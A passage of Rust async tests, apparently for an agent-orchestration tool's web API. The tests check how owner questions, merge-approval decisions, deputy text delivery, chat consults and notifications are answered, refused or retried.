11642        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11643        assert!(fx.questions().get(&q.id).unwrap().status.open());
11644        drop(publication);
11645        // Unknown liveness and armed auto-merge both fail without settling.
11646        state.driver_exited = false;
11647        state.driver_pid = None;
11648        state.save_under(fx.home.path()).unwrap();
11649        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11650        state.driver_exited = true;
11651        state.land_armed_head = Some("head".into());
11652        state.save_under(fx.home.path()).unwrap();
11653        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11654        state.land_armed_head = None;
11655        state.save_under(fx.home.path()).unwrap();
11656        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11657        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11658        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11659    }
11660
11661    #[tokio::test]
11662    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11663        let fx = Fixture::start().await;
11664        let mut state = obsolete_approval_state();
11665        state.status = RunStatus::Landing;
11666        state.driver_exited = true;
11667        let mut q = Question::new(
11668            state.id.clone(),
11669            crate::land::APPROVAL_NODE.into(),
11670            "land".into(),
11671            "Obsolete approval".into(),
11672            String::new(),
11673            vec!["merge".into(), "hold".into()],
11674        );
11675        state.land_approval = Some(crate::run::LandApproval {
11676            question: q.id.clone(),
11677            head: "head".into(),
11678        });
11679        state.save_under(fx.home.path()).unwrap();
11680        fx.questions().put(&mut q).unwrap();
11681        let mut task = Task::new(
11682            "Owner".into(),
11683            "Original instruction".into(),
11684            state.repo.clone(),
11685            Source::Human,
11686        );
11687        task.runs.push(state.id.clone());
11688        task.status = TaskStatus::Parked;
11689        fx.queue().put(&mut task).unwrap();
11690        // Model a crash after the run stop was persisted but before the queue
11691        // and answered question were flushed. Retrying must finish, not resume.
11692        state.merge_decision = Some(crate::merge_decision::Decision {
11693            question: q.id.clone(),
11694            target: crate::merge_decision::Target {
11695                pr: state.pr.as_ref().unwrap().url.clone(),
11696                head: "head".into(),
11697                language: "ja".into(),
11698            },
11699            choice: crate::merge_decision::DISMISS.into(),
11700            closed: false,
11701            replacement_run: None,
11702            replacement_pr: None,
11703        });
11704        state.status = RunStatus::Superseded;
11705        state.save_under(fx.home.path()).unwrap();
11706        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11707        let path = format!("/api/questions/{}/answer", q.id);
11708        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11709        let done = fx.queue().get(&task.id).unwrap();
11710        assert_eq!(done.status, TaskStatus::Done);
11711        assert_eq!(done.runs, task.runs);
11712        assert_eq!(done.instruction, task.instruction);
11713        assert!(done.action_applied(&q.id));
11714        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11715        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11716        assert!(!fx.questions().get(&q.id).unwrap().status.open());
11717    }
11718
11719    #[tokio::test]
11720    async fn merge_decision_api_persists_exact_target_and_selected_action() {
11721        let fx = Fixture {
11722            home: TempDir::new().unwrap(),
11723            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11724        };
11725        for choice in [
11726            crate::land::HOLD,
11727            crate::land::REPAIR,
11728            crate::land::APPROVE,
11729            crate::merge_decision::WITHDRAW,
11730            "reimplement:beta",
11731        ] {
11732            let mut q = Question::new(
11733                "old-run".into(),
11734                crate::land::APPROVAL_NODE.into(),
11735                "land".into(),
11736                "Decision".into(),
11737                "Review findings".into(),
11738                vec![
11739                    "merge".into(),
11740                    "hold".into(),
11741                    crate::land::REPAIR.into(),
11742                    crate::merge_decision::WITHDRAW.into(),
11743                    "reimplement:beta".into(),
11744                ],
11745            );
11746            q.merge_target = Some(crate::merge_decision::Target {
11747                pr: "https://github.com/example/repo/pull/42".into(),
11748                head: "exact-reviewed-head".into(),
11749                language: "ja".into(),
11750            });
11751            q.consult = Some(ask::ChatConsult {
11752                talk: "another-conversation".into(),
11753                at: jiff::Timestamp::now(),
11754            });
11755            fx.questions().put(&mut q).unwrap();
11756            let ui = Arc::new(Ui::new(
11757                fx.queue(),
11758                fx.questions(),
11759                fx.talks(),
11760                fx.runs(),
11761                fx.home.path().into(),
11762                std::path::PathBuf::from("."),
11763            ));
11764            let response = question_answer(
11765                State(ui.clone()),
11766                Path(q.id.clone()),
11767                Ok(Json(NewAnswer {
11768                    choice: Some(choice.into()),
11769                    text: None,
11770                })),
11771            )
11772            .await
11773            .unwrap();
11774            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
11775            let disk = fx.questions().get(&q.id).unwrap();
11776            assert_eq!(disk.merge_target, q.merge_target);
11777            assert_eq!(disk.consult, q.consult);
11778            assert!(
11779                disk.answer_authority.is_none(),
11780                "a direct owner card is its own decision"
11781            );
11782            assert_eq!(disk.resolution().as_deref(), Some(choice));
11783            assert!(
11784                question_answer(
11785                    State(ui),
11786                    Path(q.id.clone()),
11787                    Ok(Json(NewAnswer {
11788                        choice: Some("merge".into()),
11789                        text: None
11790                    }))
11791                )
11792                .await
11793                .is_err(),
11794                "an already settled decision cannot turn into merge approval"
11795            );
11796        }
11797    }
11798
11799    #[tokio::test]
11800    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
11801        let fx = Fixture {
11802            home: TempDir::new().unwrap(),
11803            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11804        };
11805        let mut state = crate::land::tests::repair_state(true, true);
11806        state.status = RunStatus::Landing;
11807        state.parked = true;
11808        state.driver_exited = true;
11809        let mut task = Task::new(
11810            "Existing PR owner".into(),
11811            state.instruction.clone(),
11812            state.repo.clone(),
11813            Source::Human,
11814        );
11815        task.runs.push(state.id.clone());
11816        task.status = TaskStatus::Parked;
11817        fx.queue().put(&mut task).unwrap();
11818        let mut q = Question::new(
11819            state.id.clone(),
11820            crate::land::APPROVAL_NODE.into(),
11821            "land".into(),
11822            "Contested merge".into(),
11823            "Original evidence".into(),
11824            vec!["merge".into(), "hold".into()],
11825        );
11826        state.land_approval = Some(crate::run::LandApproval {
11827            question: q.id.clone(),
11828            head: "reviewed-head".into(),
11829        });
11830        state.save_under(fx.home.path()).unwrap();
11831        fx.questions().put(&mut q).unwrap();
11832        // A later repair answer on this old card supersedes this manual hold.
11833        task.hold_manual(Some("Pause this PR".into()));
11834        fx.queue().put(&mut task).unwrap();
11835        // POST directly, without a preceding GET: validation must see the
11836        // same durable upgrade that the card, CLI and chat see.
11837        let ui = Arc::new(Ui::new(
11838            fx.queue(),
11839            fx.questions(),
11840            fx.talks(),
11841            fx.runs(),
11842            fx.home.path().to_path_buf(),
11843            state.repo.clone(),
11844        ));
11845        let response = question_answer(
11846            State(ui),
11847            Path(q.id.clone()),
11848            Ok(Json(NewAnswer {
11849                choice: Some(crate::land::REPAIR.into()),
11850                text: None,
11851            })),
11852        )
11853        .await
11854        .unwrap();
11855        assert_eq!(response.0.question.id, q.id);
11856        let upgraded = fx.questions().get(&q.id).unwrap();
11857        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
11858        assert!(upgraded.detail.starts_with("Original evidence"));
11859        let claim = fx.queue().claim(&task.id).unwrap();
11860        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11861        assert!(
11862            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11863            "an existing driver keeps its claim"
11864        );
11865        drop(claim);
11866        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11867        let resumed = fx.queue().get(&task.id).unwrap();
11868        assert_eq!(
11869            resumed
11870                .resume_override
11871                .as_ref()
11872                .unwrap()
11873                .pinned_run
11874                .as_deref(),
11875            Some(state.id.as_str())
11876        );
11877        assert!(resumed.status.runnable());
11878        assert_eq!(resumed.instruction, task.instruction);
11879        assert_eq!(resumed.runs, task.runs);
11880        assert!(resumed.action_applied(&q.id));
11881        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11882        assert_eq!(fx.queue().list().len(), 1);
11883        assert_eq!(
11884            fx.queue().get(&task.id).unwrap().resume_override,
11885            resumed.resume_override
11886        );
11887        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11888        assert!(
11889            disk.merge_repairs.is_empty(),
11890            "only the claimed run driver may execute repair"
11891        );
11892        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11893    }
11894
11895    #[tokio::test]
11896    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11897        let fx = Fixture::start().await;
11898        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11899        let path = format!("/api/questions/{id}/answer");
11900
11901        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11902        assert_eq!(res.status, 200, "{}", res.body);
11903        let body = res.json();
11904        assert_eq!(body["status"], "answered");
11905        assert_eq!(body["answer"]["choice"], "Redis");
11906
11907        // Answered from the terminal in between the list and the tap: the UI
11908        // must be able to tell this from a bad request, so it can show the
11909        // recorded answer instead of an error.
11910        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11911        assert_eq!(again.status, 409, "{}", again.body);
11912        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11913    }
11914
11915    #[tokio::test]
11916    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11917        let home = tempfile::tempdir().unwrap();
11918        let ui = delta_test_ui(home.path());
11919        let mut q = Question::new(
11920            "task".into(),
11921            crate::land::APPROVAL_NODE.into(),
11922            "land".into(),
11923            "Explain?".into(),
11924            String::new(),
11925            vec!["hold".into()],
11926        );
11927        q.deputy = Some(ask::Deputy::new("context".into()));
11928        ui.questions.put(&mut q).unwrap();
11929        let mut cfg = stub_config();
11930        cfg.daemon.max_deputies = 0;
11931        let mut status = crate::daemon::Status::new();
11932        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11933        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11934        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11935        let error = question_say(
11936            State(ui.clone()),
11937            Path(q.id.clone()),
11938            Ok(Json(NewSay {
11939                body: "Explain the findings".into(),
11940            })),
11941        )
11942        .await
11943        .unwrap_err();
11944        assert_eq!(
11945            error.text_reason,
11946            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11947        );
11948        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11949
11950        let mut text = Question::new(
11951            "task".into(),
11952            "ask".into(),
11953            "operator".into(),
11954            "Which name?".into(),
11955            String::new(),
11956            vec![],
11957        );
11958        ui.questions.put(&mut text).unwrap();
11959        let Json(view) = question_answer(
11960            State(ui.clone()),
11961            Path(text.id.clone()),
11962            Ok(Json(NewAnswer {
11963                choice: None,
11964                text: Some("chosen name".into()),
11965            })),
11966        )
11967        .await
11968        .unwrap();
11969        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
11970        assert!(!ui.questions.get(&text.id).unwrap().status.open());
11971    }
11972
11973    #[tokio::test]
11974    async fn question_text_handler_admission_without_transport() {
11975        let home = tempfile::tempdir().unwrap();
11976        let ui = delta_test_ui(home.path());
11977        let mut q = Question::new(
11978            "task".into(),
11979            crate::land::APPROVAL_NODE.into(),
11980            "land".into(),
11981            "May this PR merge?".into(),
11982            String::new(),
11983            vec!["hold".into()],
11984        );
11985        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
11986        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11987        ui.questions.put(&mut q).unwrap();
11988        let say = || {
11989            Ok(Json(NewSay {
11990                body: "Explain the findings".into(),
11991            }))
11992        };
11993        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11994            .await
11995            .unwrap_err();
11996        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11997        let response = rejected.into_response();
11998        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
11999            .await
12000            .unwrap();
12001        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12002        assert_eq!(body["code"], "question_text_unavailable");
12003        assert_eq!(body["reason"], "deputy_exhausted");
12004        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12005        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12006        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12007        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12008            .await
12009            .unwrap();
12010        assert_eq!(view.text_delivery.state, "live");
12011        assert!(view.question.waiter.is_none());
12012        assert!(view.question.cwd.is_none());
12013        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12014        ui.questions.drop_lease(&q.id);
12015        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12016            .await
12017            .unwrap_err();
12018        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12019        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12020        let _ = question_answer(
12021            State(ui.clone()),
12022            Path(q.id.clone()),
12023            Ok(Json(NewAnswer {
12024                choice: Some("hold".into()),
12025                text: None,
12026            })),
12027        )
12028        .await
12029        .unwrap();
12030        assert_eq!(
12031            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12032            Some("hold")
12033        );
12034    }
12035
12036    #[tokio::test]
12037    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12038        let fx = Fixture::start().await;
12039        let store = fx.questions();
12040        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12041        store
12042            .update(&id, |q| {
12043                q.node = crate::land::APPROVAL_NODE.to_owned();
12044                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12045                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12046                Ok(())
12047            })
12048            .unwrap();
12049        let path = format!("/api/questions/{id}/say");
12050        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12051        assert_eq!(refused.status, 422, "{}", refused.body);
12052        assert!(
12053            refused.json()["error"]
12054                .as_str()
12055                .unwrap()
12056                .contains("deputy_exhausted")
12057        );
12058        assert!(store.get(&id).unwrap().thread.is_empty());
12059
12060        // A final live deputy is usable even with no ordinary waiter/cwd.
12061        store.beat(&id, ask::WaiterKind::Deputy);
12062        let view = fx.get("/api/questions").await.json();
12063        assert_eq!(view[0]["text_delivery"]["state"], "live");
12064        let accepted = fx
12065            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12066            .await;
12067        assert_eq!(accepted.status, 200, "{}", accepted.body);
12068        let before = std::fs::read(store.path_of(&id)).unwrap();
12069
12070        // The recipient exits between rendering and sending. Rejection must
12071        // preserve previously accepted text, the answer and delivery cursor.
12072        store.drop_lease(&id);
12073        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12074        assert_eq!(refused.status, 422, "{}", refused.body);
12075        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12076        let held = fx
12077            .post(
12078                &format!("/api/questions/{id}/answer"),
12079                Some(r#"{"choice":"hold"}"#),
12080            )
12081            .await;
12082        assert_eq!(held.status, 200, "{}", held.body);
12083        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12084    }
12085
12086    #[tokio::test]
12087    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12088        let repo = tempfile::tempdir().unwrap();
12089        let mut cfg = stub_config();
12090        cfg.daemon.max_deputies = 0;
12091        std::fs::write(
12092            repo.path().join("magi.toml"),
12093            toml::to_string(&cfg).unwrap(),
12094        )
12095        .unwrap();
12096        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12097        let mut status = crate::daemon::Status::new();
12098        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12099        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12100        let id = ask(&fx, "Explain?", &["hold"]);
12101        fx.questions()
12102            .update(&id, |q| {
12103                q.node = crate::land::APPROVAL_NODE.into();
12104                q.deputy = Some(ask::Deputy::new("context".into()));
12105                q.deputy.as_mut().unwrap().agent = "stub".into();
12106                Ok(())
12107            })
12108            .unwrap();
12109        cfg.daemon.max_deputies = 1;
12110        std::fs::write(
12111            repo.path().join("magi.toml"),
12112            toml::to_string(&cfg).unwrap(),
12113        )
12114        .unwrap();
12115        let view = fx.get("/api/questions").await.json();
12116        assert_eq!(view[0]["deputies_enabled"], true);
12117        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12118        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12119        let res = fx
12120            .post(
12121                &format!("/api/questions/{id}/say"),
12122                Some(r#"{"body":"Please explain"}"#),
12123            )
12124            .await;
12125        assert_eq!(res.status, 422, "{}", res.body);
12126        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12127    }
12128
12129    #[tokio::test]
12130    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12131        let fx = Fixture::start().await;
12132        let id = ask(&fx, "No seat", &[]);
12133        let store = fx.questions();
12134        let before = std::fs::read(store.path_of(&id)).unwrap();
12135        let res = fx
12136            .post(
12137                &format!("/api/questions/{id}/say"),
12138                Some(r#"{"body":"hello"}"#),
12139            )
12140            .await;
12141        assert_eq!(res.status, 422, "{}", res.body);
12142        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12143        let res = fx
12144            .post(
12145                &format!("/api/questions/{id}/answer"),
12146                Some(r#"{"text":"hello"}"#),
12147            )
12148            .await;
12149        assert_eq!(res.status, 200, "{}", res.body);
12150        assert_eq!(
12151            store.get(&id).unwrap().resolution().as_deref(),
12152            Some("hello")
12153        );
12154    }
12155
12156    #[tokio::test]
12157    async fn saying_something_appends_a_turn_without_answering() {
12158        let fx = Fixture::start().await;
12159        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12160        fx.questions().beat(&id, ask::WaiterKind::Asker);
12161        let path = format!("/api/questions/{id}/say");
12162
12163        let res = fx
12164            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12165            .await;
12166        assert_eq!(res.status, 200, "{}", res.body);
12167        let body = res.json();
12168        assert_eq!(body["status"], "open", "talking back is not a decision");
12169        assert_eq!(body["answer"], Value::Null);
12170        assert_eq!(body["thread"][0]["who"], "operator");
12171        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12172        assert_eq!(body["waiting_on_agent"], true);
12173        // Still open, still counted, still exactly one question.
12174        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12175    }
12176
12177    #[tokio::test]
12178    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12179        let fx = Fixture::start().await;
12180        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12181
12182        let list = fx.get("/api/questions").await.json();
12183        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12184
12185        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12186        assert_eq!(res.status, 409, "{}", res.body);
12187        let q = fx.questions().get(&id).unwrap();
12188        assert!(q.status.open());
12189        assert!(q.consult.is_none());
12190    }
12191
12192    #[tokio::test]
12193    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12194        let fx = Fixture::start().await;
12195        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12196        let cfg = Config {
12197            agents: vec![crate::config::AgentSpec {
12198                id: "mock".to_owned(),
12199                kind: crate::config::AgentKind::Command,
12200                model: None,
12201                command: vec!["true".to_owned()],
12202                extra_args: Vec::new(),
12203                env: Default::default(),
12204                prompt_delivery: None,
12205            }],
12206            ..Config::default()
12207        };
12208        let talk = crate::talk::begin(
12209            &fx.talks(),
12210            &cfg,
12211            fx.home.path().to_path_buf(),
12212            Some("mock"),
12213        )
12214        .unwrap();
12215        let mut task = Task::new(
12216            "t".to_owned(),
12217            "Do it".to_owned(),
12218            PathBuf::from("/repo/magi"),
12219            Source::Agent {
12220                run: talk.id.clone(),
12221                node: crate::queue::CHAT_NODE.to_owned(),
12222            },
12223        );
12224        task.start("20260902-000000-beef".to_owned());
12225        fx.queue().put(&mut task).unwrap();
12226
12227        let list = fx.get("/api/questions").await.json();
12228        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12229        assert_eq!(
12230            list[0]["choices"],
12231            serde_json::json!(["SQLite", "Redis"]),
12232            "the hand-over is never a choice"
12233        );
12234        fx.questions()
12235            .update(&id, |q| {
12236                q.node = crate::land::APPROVAL_NODE.into();
12237                q.choices = vec!["merge".into(), "hold".into()];
12238                Ok(())
12239            })
12240            .unwrap();
12241        let list = fx.get("/api/questions").await.json();
12242        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12243        assert_eq!(list[0]["can_consult_chat"], true);
12244        fx.questions()
12245            .update(&id, |q| {
12246                q.node = crate::bump::NOTICE_NODE.into();
12247                Ok(())
12248            })
12249            .unwrap();
12250        let list = fx.get("/api/questions").await.json();
12251        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12252        assert_eq!(list[0]["can_consult_chat"], false);
12253    }
12254
12255    #[tokio::test]
12256    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12257        let fx = Fixture::start().await;
12258        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12259        fx.questions()
12260            .update(&id, |q| {
12261                q.node = crate::land::APPROVAL_NODE.into();
12262                q.choices = vec!["merge".into(), "hold".into()];
12263                Ok(())
12264            })
12265            .unwrap();
12266        let cfg = Config {
12267            agents: vec![crate::config::AgentSpec {
12268                id: "mock".to_owned(),
12269                kind: crate::config::AgentKind::Command,
12270                model: None,
12271                command: vec!["true".to_owned()],
12272                extra_args: Vec::new(),
12273                env: Default::default(),
12274                prompt_delivery: None,
12275            }],
12276            ..Config::default()
12277        };
12278        // Not a git working tree, so its `magi.toml` is read from disk.
12279        let repo = fx.home.path().join("chat-repo");
12280        std::fs::create_dir_all(&repo).unwrap();
12281        let toml = repo.join("magi.toml");
12282        std::fs::write(&toml, "this is = = not toml").unwrap();
12283        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12284        let mut task = Task::new(
12285            "t".to_owned(),
12286            "Do it".to_owned(),
12287            PathBuf::from("/repo/magi"),
12288            Source::Agent {
12289                run: talk.id.clone(),
12290                node: crate::queue::CHAT_NODE.to_owned(),
12291            },
12292        );
12293        task.start("20260902-000000-beef".to_owned());
12294        fx.queue().put(&mut task).unwrap();
12295
12296        let path = format!("/api/questions/{id}/consult");
12297        let res = fx.post(&path, None).await;
12298        assert!(res.status >= 400, "{}", res.body);
12299        assert!(fx.questions().get(&id).unwrap().consult.is_none());
12300        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12301
12302        std::fs::write(&toml, "").unwrap();
12303        let res = fx.post(&path, None).await;
12304        assert_eq!(res.status, 202, "{}", res.body);
12305        assert!(fx.questions().get(&id).unwrap().consult.is_some());
12306        let q = fx.questions().get(&id).unwrap();
12307        assert!(q.status.open());
12308        assert!(q.answer.is_none());
12309        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12310        assert_eq!(res.json()["can_consult_chat"], true);
12311        let list = fx.get("/api/questions").await.json();
12312        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12313        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12314
12315        let res = fx
12316            .post(
12317                &format!("/api/questions/{id}/answer"),
12318                Some(r#"{"choice":"hold"}"#),
12319            )
12320            .await;
12321        assert_eq!(res.status, 200, "{}", res.body);
12322        assert_eq!(res.json()["answer"]["choice"], "hold");
12323        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12324        assert_eq!(res.json()["can_consult_chat"], false);
12325        assert_eq!(fx.post(&path, None).await.status, 409);
12326
12327        let mut talk = fx.talks().get(&talk.id).unwrap();
12328        crate::talk::close(&mut talk, &fx.talks()).unwrap();
12329        let list = fx.get("/api/questions").await.json();
12330        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12331        assert_eq!(list[0]["origin_chat_closed"], true);
12332        assert_eq!(list[0]["can_consult_chat"], false);
12333
12334        fx.talks().remove(&talk.id).unwrap();
12335        let list = fx.get("/api/questions").await.json();
12336        assert_eq!(list[0]["origin_chat"], Value::Null);
12337        assert_eq!(list[0]["origin_chat_closed"], false);
12338        assert_eq!(list[0]["can_consult_chat"], false);
12339    }
12340
12341    #[tokio::test]
12342    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12343        let fx = Fixture::start().await;
12344        let store = fx.questions();
12345        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12346        store.beat(&id, ask::WaiterKind::Asker);
12347        assert_eq!(
12348            fx.get("/api/health").await.json()["questions_needs_owner"],
12349            1
12350        );
12351
12352        // The owner asks back instead of deciding: the ask bar, the nav badge
12353        // and the title must stop naming this question, because there is
12354        // nothing to decide until the agent answers - `status` alone cannot
12355        // say that, which is the whole reason `questions_needs_owner` exists
12356        // alongside `questions_open`.
12357        let res = fx
12358            .post(
12359                &format!("/api/questions/{id}/say"),
12360                Some(r#"{"body":"why not Postgres?"}"#),
12361            )
12362            .await;
12363        assert_eq!(res.status, 200, "{}", res.body);
12364        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12365        assert_eq!(
12366            fx.get("/api/health").await.json()["questions_needs_owner"],
12367            0,
12368            "waiting on the agent is not waiting on the owner"
12369        );
12370
12371        // `magi ask --thread` replying is what brings the owner count back -
12372        // the same event that would resume the CLI call blocked in `magi
12373        // ask`.
12374        let mut q = store.get(&id).expect("get");
12375        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12376            .expect("reply");
12377        store.put(&mut q).expect("put");
12378        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12379        assert_eq!(
12380            fx.get("/api/health").await.json()["questions_needs_owner"],
12381            1,
12382            "the agent's reply is what should light the banner back up"
12383        );
12384    }
12385
12386    #[tokio::test]
12387    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12388        let fx = Fixture::start().await;
12389        let store = fx.questions();
12390
12391        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12392        let res = fx
12393            .post(
12394                &format!("/api/questions/{empty_id}/say"),
12395                Some(r#"{"body":"   "}"#),
12396            )
12397            .await;
12398        assert_eq!(res.status, 400, "{}", res.body);
12399
12400        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12401        let mut answered = store.get(&answered_id).expect("get");
12402        answered
12403            .answer(Answer::Choice("SQLite".to_owned()))
12404            .expect("answer");
12405        store.put(&mut answered).expect("put");
12406        let res = fx
12407            .post(
12408                &format!("/api/questions/{answered_id}/say"),
12409                Some(r#"{"body":"still there?"}"#),
12410            )
12411            .await;
12412        assert_eq!(res.status, 409, "{}", res.body);
12413
12414        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12415        let mut abandoned = store.get(&abandoned_id).expect("get");
12416        abandoned.abandon("timed out");
12417        store.put(&mut abandoned).expect("put");
12418        let res = fx
12419            .post(
12420                &format!("/api/questions/{abandoned_id}/say"),
12421                Some(r#"{"body":"still there?"}"#),
12422            )
12423            .await;
12424        assert_eq!(res.status, 409, "{}", res.body);
12425    }
12426
12427    #[tokio::test]
12428    async fn an_answer_the_question_does_not_offer_is_refused() {
12429        let fx = Fixture::start().await;
12430        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12431        let path = format!("/api/questions/{id}/answer");
12432
12433        for body in [
12434            r#"{"choice":"Postgres"}"#,
12435            r#"{"text":"whatever you think"}"#,
12436            r#"{"choice":"Redis","text":"both"}"#,
12437            r#"{}"#,
12438        ] {
12439            let res = fx.post(&path, Some(body)).await;
12440            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12441            assert!(res.json()["error"].is_string(), "{}", res.body);
12442        }
12443        // Nothing above may have answered it.
12444        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12445    }
12446
12447    #[tokio::test]
12448    async fn a_free_text_question_takes_text_and_not_a_choice() {
12449        let fx = Fixture::start().await;
12450        let id = ask(&fx, "What should the flag be called?", &[]);
12451        fx.questions().beat(&id, ask::WaiterKind::Asker);
12452        let path = format!("/api/questions/{id}/answer");
12453
12454        assert_eq!(
12455            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12456            400
12457        );
12458        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12459        assert_eq!(res.status, 200, "{}", res.body);
12460        assert_eq!(res.json()["answer"]["text"], "--json");
12461    }
12462
12463    #[tokio::test]
12464    async fn an_unknown_question_is_a_json_404() {
12465        let fx = Fixture::start().await;
12466        let res = fx
12467            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12468            .await;
12469        assert_eq!(res.status, 404, "{}", res.body);
12470        assert!(res.json()["error"].is_string());
12471    }
12472
12473    #[tokio::test]
12474    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12475        let fx = Fixture::start().await;
12476        let questions = Questions::at(fx.home.path().join("questions"));
12477        let store = Notices::at(fx.home.path().join("notifications"));
12478        let mut q = ask::Question::new(
12479            "t1".into(),
12480            "conduct".into(),
12481            "conductor".into(),
12482            "Continue?".into(),
12483            String::new(),
12484            Vec::new(),
12485        );
12486        questions.put(&mut q).unwrap();
12487        let mut n = Notice::warn("task:t1", "Task t1 is held.");
12488        n.covered_by = Some(q.id.clone());
12489        let n = store.raise(n).unwrap();
12490        let listed = fx.get("/api/notifications").await.json();
12491        assert_eq!(listed["items"][0]["answerable_question"], q.id);
12492        questions
12493            .update(&q.id, |q| {
12494                q.abandon("run gone");
12495                Ok(())
